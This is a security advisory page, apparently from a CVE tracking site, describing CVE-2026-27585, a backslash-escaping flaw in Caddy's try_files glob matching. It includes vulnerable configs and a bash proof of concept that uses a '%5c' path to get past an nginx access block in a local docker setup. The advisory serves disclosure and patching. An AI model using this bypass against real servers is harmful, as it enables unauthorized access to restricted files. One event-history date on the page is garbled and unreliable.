CVE-2026-27585: Caddy's improper sanitization of glob characters in file matcher may lead to bypassing security protections

Published Feb 24, 2026
·
Updated

### Summary The path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections. ### Details The [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to `index.html`. ```caddy example.com { root * /srv encode try_files {path} /index.html file_server } ``` `try_files` patterns are actually glob patterns and file matcher expands them. The `{path}` in the pattern is replaced with the request path and then [is expanded by `fs.Glob`](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398). The request path is sanitized before being placed inside the pattern and the special chars are escaped . [The following code](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) is the sanitization part. ```go var globSafeRepl = strings.NewReplacer( "*", "\\*", "[", "\\[", "?", "\\?", ) expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) { if runtime.GOOS == "windows" { return val, nil } switch v := val.(type) { case string: return globSafeRepl.Replace(v), nil case fmt.Stringer: return globSafeRepl.Replace(v.String()), nil } return val, nil }) ``` The problem here is that it does not escape backslashes. `/something-\*/` can match a file named `something-\-anything.txt`, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash. The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that `h\ello*` matches `hello world` even though `e` is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows `/documents/*` to the internal network and its upstream is a Caddy server that uses `try_files`, the reverse proxy's protection can be bypassed by requesting the path `/do%5ccuments/`. Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the `try_files` directive and the filtering `route`/`handle` must not be in a same block because `try_files` directive [executes before `route` and `handle` directives](https://caddyserver.com/docs/caddyfile/directives#directive-order). For example the following config isn't vulnerable. ```caddy :80 { root * /srv route /documents/* { respond "Access denied" 403 } try_files {path} /index.html file_server } ``` But this one is vulnerable. ```caddy :80 { root * /srv route /documents/* { respond "Access denied" 403 } route /* { try_files {path} /index.html } file_server } ``` This config is also vulnerable because `Header` directives executes before `try_files`. ```caddy :80 { root * /srv header /uploads/* { X-Content-Type-Options "nosniff" Content-Security-Policy "default-src 'none';" } try_files {path} /index.html file_server } ``` ### PoC Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed. ```bash #!/bin/bash mkdir secret echo 'some content' > secret/secret.txt cat > Caddyfile <<'EOF' :80 { root * /srv try_files {path} /index.html file_server } EOF cat > nginx.conf <<'EOF' events {} http { server { listen 80; location /secret { return 403; } location / { proxy_pass http://caddy; proxy_set_header Host $host; } } } EOF cat > docker-compose.yml <<'EOF' services: caddy: # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb image: caddy:latest volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro - ./secret:/srv/secret:ro nginx: # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208 image: nginx:latest volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro ports: - "8000:80" EOF docker compose up -d curl 'localhost:8000/secre%5ct/secret.txt' ``` ### Impact This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations. ### AI Usage An LLM was used to polish this report.

Affected Software

4 affected componentsFixes available
Caddy Caddy<2.11.1
go/github.com/caddyserver/caddy/v2/modules/caddyhttp/fileserver<2.11.0
2.11.1
caddyserver Caddy<2.11.1
go/github.com/caddyserver/caddy/v2<2.11.0
2.11.1

Event History

Feb 24, 2026
CVE Published
via MITRE·04:06 PM
Data Sourced
via MITRE·04:06 PM
DescriptionWeakness
Data Sourced
via NVD·05:29 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:16 PM
Data Sourced
via GitHub·08:16 PM
DescriptionWeaknessAffected Software
Jan 4, 58137
Event
via FIRST·12:46 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-27585?

CVE-2026-27585 is classified as a security vulnerability that could allow unauthorized access due to improper path sanitization.

2

How do I fix CVE-2026-27585?

To fix CVE-2026-27585, upgrade Caddy to version 2.11.1 or later where the path sanitization issue has been addressed.

3

What versions of Caddy are affected by CVE-2026-27585?

CVE-2026-27585 affects all versions of Caddy prior to 2.11.1.

4

What are the potential risks of not addressing CVE-2026-27585?

Not addressing CVE-2026-27585 may lead to unauthorized access, compromising the security integrity of your application.

5

How does CVE-2026-27585 impact file matcher security in Caddy?

CVE-2026-27585 impacts file matcher security by failing to properly sanitize backslashes, allowing potential bypass of path restrictions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203